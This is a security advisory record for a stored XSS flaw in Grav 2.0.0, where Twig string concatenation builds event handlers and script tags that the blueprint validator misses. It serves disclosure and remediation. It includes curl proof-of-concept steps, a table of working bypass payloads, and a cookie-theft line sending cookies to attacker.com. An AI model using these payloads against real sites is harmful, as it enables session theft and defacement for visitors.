{"id":"CVE-2026-61453","aliases":["GHSA-2c4f-86xc-cr74"],"title":"Grav: XSS Blueprint Validation Bypass via Twig String Concatenation","summary":"Grav: XSS Blueprint Validation Bypass via Twig String Concatenation","severity":"medium","cwe":["CWE-79","CWE-184","CWE-1336"],"vendor":"getgrav","product":"getgrav/grav","ecosystem":"composer","affected":["getgrav/grav = 2.0.0"],"patched":["getgrav/grav 2.0.1"],"published":"2026-09-16","updated":"2026-09-16","sourceUpdated":"2026-09-16T22:13:18Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-2c4f-86xc-cr74","references":[{"url":"https://github.com/getgrav/grav/security/advisories/GHSA-2c4f-86xc-cr74"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61453"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61710"},{"url":"https://www.vulncheck.com/advisories/grav-before-xss-via-twig-string-concatenation"},{"url":"https://github.com/advisories/GHSA-2c4f-86xc-cr74"}],"tags":["ghsa","composer"],"epss":0.00163,"epssPercentile":0.05968,"ingestedAt":"2026-09-16T23:07:58.095Z","slug":"CVE-2026-61453","body":"## Overview\n\n## Summary\n\nThe XSS blueprint validator (`Security::detectXss()`) runs on the **raw page content before Twig processing**. An attacker can use Twig's string concatenation operator (`~`) to dynamically construct an event handler name at render time. The validator sees `{{ \"on\" ~ \"error\" }}` - a harmless Twig expression - and allows the content. After Twig processes the template, the output contains `<img src=1 onerror=alert(1)>` which is rendered via `{{ content|raw }}` and executes in the victim's browser.\n\n---\n\n## Details\n\n**The two-stage attack** exploits the separation between validation and rendering:\n\n**Stage 1 - what the XSS validator sees** (raw page content):\n\n```twig\n{% set x = \"on\" ~ \"error\" %}\n<img src=1 {{ x }}=alert(document.domain)>\n```\n\nThe `detectXss()` function scans this string. The `on_events` regex looks for `<[^>]*?[\\s\\x00-\\x20\\\"\\'\\/](on\\s*[a-z]+|xmlns)\\s*=` inside HTML tags. In `{{ x }}`, the `{` character is not in the boundary set `[\\s\\x00-\\x20\\\"\\'\\/]`, and `x` is not `on`. **No match - passes validation.**\n\n**Stage 2 - what Twig produces** (after rendering):\n\n```html\n<img src=1 onerror=alert(document.domain)>\n```\n\nThe validator never re-inspects Twig output. The theme template renders this via `{{ page.content|raw }}` (confirmed in `quark2/templates/default.html.twig:5`), so no auto-escaping occurs.\n\n**Why `{% set %}` and `~` are allowed** - `system/config/security.yaml:125-145`:\n\n```yaml\nallowed_tags:\n  - set          # ← allows variable assignment\n  ...\n```\n\nThe `~` operator is a core Twig operator for string concatenation (like `.` in PHP). It is not a function, filter, or tag — it is always available and not gated by the sandbox.\n\n**The same technique bypasses the `dangerous_tags` blocklist** - any blocked tag name can be reconstructed:\n\n```twig\n<s{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}>alert(1)</s{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}>\n{# XSS validator sees: <s{{...}}> - no <script> tag detected\n   Twig output: <script>alert(1)</script> #}\n```\n\n**Also bypasses the `invalid_protocols` check**:\n\n```twig\n<a href=\"{{\"java\"~\"script\"}}:alert(1)\">click</a>\n{# Validator sees: href=\"{{...}}\" - no \"javascript:\" protocol detected #}\n```\n\n---\n\n## Proof of Concept\n\n### Prerequisites\n1. `twig_content.process_enabled: true` set by admin\n2. `api.pages.write` permission (page creation)\n\n### Step 1 - Obtain JWT token (any user with page write access)\n\n```bash\nJWT=$(curl -s http://127.0.0.1/grav/api/v1/auth/token \\\n  -X POST -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"user\",\"password\":\"pass\"}' \\\n  | python3 -c \"import json,sys; print(json.load(sys.stdin)['data']['access_token'])\")\n```\n\n### Step 2 - Create page with Twig XSS payload\n\n```bash\ncurl -s http://127.0.0.1/grav/api/v1/pages -X POST \\\n  -H \"Authorization: Bearer $JWT\" -H \"Content-Type: application/json\" \\\n  -d '{\n    \"title\": \"xss-page\",\n    \"folder\": \"xss-page\",\n    \"route\": \"/xss-page\",\n    \"template\": \"default\",\n    \"header\": {\"title\": \"xss\", \"process\": {\"markdown\": false}},\n    \"content\": \"{% set x = \\\"on\\\" ~ \\\"error\\\" %}<img src=1 {{ x }}=alert(document.domain)>\"\n  }'\n```\n\n**Result**: `201 Created` - XSS validator passes because it sees `{{ x }}`, not `onerror`.\n\n### Step 3 - Visit page → XSS fires\n\n```bash\ncurl -s http://127.0.0.1/grav/xss-page | grep -oP '<img[^>]*>'\n# Output: <img src=1 onerror=alert(document.domain)>\n```\n\nOpen in browser: `http://127.0.0.1/grav/xss-page` - `alert(document.domain)` fires.\n<img width=\"1842\" height=\"996\" alt=\"image\" src=\"https://github.com/user-attachments/assets/eedd2555-266e-41fc-a461-c56631b8a588\" />\n<img width=\"1346\" height=\"263\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b42b4ba3-4b8c-40a3-8fc3-62f961835aef\" />\n\n#### From a low-level user\nAlso From a low-level user normal script such as `<img src=1 onerror=alert(1)>` this is being blocked by the restriction.\n<img width=\"1849\" height=\"980\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f1503d4a-7daf-4237-b155-22801b961b57\" />\n\nBut with payloads such as <a href=\"{{\"java\"~\"script\"}}:alert(1)\">click</a> proves that the we can bypass the blueprint restrictions and upload malicious script to it\n<img width=\"1841\" height=\"1009\" alt=\"image\" src=\"https://github.com/user-attachments/assets/60af8cf8-840a-4b9c-84ba-6f89355035fd\" />\n<img width=\"1524\" height=\"390\" alt=\"image\" src=\"https://github.com/user-attachments/assets/201991b7-3d56-4d85-9bbc-17a63b9cb770\" />\n\n\n\n### Alternative payloads (all bypass the validator)\n\n| Payload | Twig Source | After Twig | Triggers |\n|---------|------------|------------|----------|\n| Event handler | `<img src=1 {{\"on\"~\"error\"}}=alert(1)>` | `<img src=1 onerror=alert(1)>` | Image load fails |\n| Script tag | `<s{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}>alert(1)</s{{\"c\"~\"r\"~\"i\"~\"p\"~\"t\"}}>` | `<script>alert(1)</script>` | Immediately |\n| Protocol bypass | `<a href=\"{{\"java\"~\"script\"}}:alert(1)\">click</a>` | `<a href=\"javascript:alert(1)\">click</a>` | On click |\n| Iframe onload | `<i{{\"f\"~\"r\"~\"a\"~\"m\"~\"e\"}} {{\"on\"~\"load\"}}=alert(1)>` | `<iframe onload=alert(1)>` | Page load |\n| Details toggle | `<details open {{\"on\"~\"toggle\"}}=alert(1)>` | `<details open ontoggle=alert(1)>` | Page load |\n| Cookie theft | `<img src=1 {{\"on\"~\"error\"}}=fetch(\"https://attacker.com/?c=\"+document.cookie)>` | `<img src=1 onerror=fetch(...)>` | Image load fails |\n\n### Admin preview caveat\n\nThe Admin2 SPA renders page previews inside a **sandboxed iframe**:\n\n```html\n<iframe sandbox=\"allow-same-origin allow-scripts allow-forms\"></iframe>\n```\n\n`allow-modals` is **not** set - `alert()` is silenced in the admin preview. Use `fetch()`, `document.write()`, or DOM manipulation payloads to prove execution in the admin panel. The frontend page (no iframe) has no such restriction - `alert()` fires directly.\n\n---\n\n## Impact\n\nOnce the Twig content master gate is enabled by an administrator, **any user with page write access** can inject stored XSS into page content that executes for all visitors. The attack:\n\n- **Bypasses all four XSS validator regexes** (`on_events`, `invalid_protocols`, `dangerous_tags`, `html_inline_styles`)\n- **Bypasses the dangerous tag blocklist** (reconstructs `<script>`, `<iframe>`, `<svg>`, etc.)\n- **Bypasses the invalid protocol blocklist** (reconstructs `javascript:`, `data:`)\n- **Persists** across page edits (stored in page content file)\n- **Executes** for every visitor to the page\n\nAn attacker can steal session cookies, perform actions as the victim, or deface the site.\n\n---\n\n## Remediation\n\n### Option A - Re-run the XSS validator on Twig output\n\nAfter `Twig::processPage()` renders the content, run the XSS validator on the **output** before it is cached and served:\n\n```php\n// In Twig::processPage(), after rendering\n$rendered = $twig->render($name, $context);\n$result = Security::detectXss($rendered);\nif ($result !== null) {\n    // Log and sanitize or block\n    Security::logTwigSandboxViolation('xss_output', $result, '', $route);\n    return ''; // or return escaped version\n}\n```\n\n### Option B - Disallow `~` and `{% set %}` in sandboxed content (too restrictive)\n\nRemoving string concatenation or variable assignment from the sandbox would break legitimate use cases (e.g., building dynamic class names, assembling URLs).\n\n### Option C - Block dynamic attribute names in Twig output\n\nParse the Twig output for HTML and check if any event handler attributes were dynamically constructed. This is complex but comprehensive.\n\n### Option D - Escape HTML in rendered Twig output\n\nWrap the rendered output with `htmlspecialchars()` unless explicitly marked safe. This is the Twig default behavior — the `|raw` filter in theme templates bypasses it. Consider removing `|raw` from default themes and requiring explicit `|raw` only for trusted content.\n\n## Affected packages\n\n- `getgrav/grav = 2.0.0`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `getgrav/grav 2.0.1`","depth":"sunlit","depthScore":28,"depthScoreParts":{"impact":27.5,"likelihood":0,"exploitation":0,"ransomware":0},"changes":[]}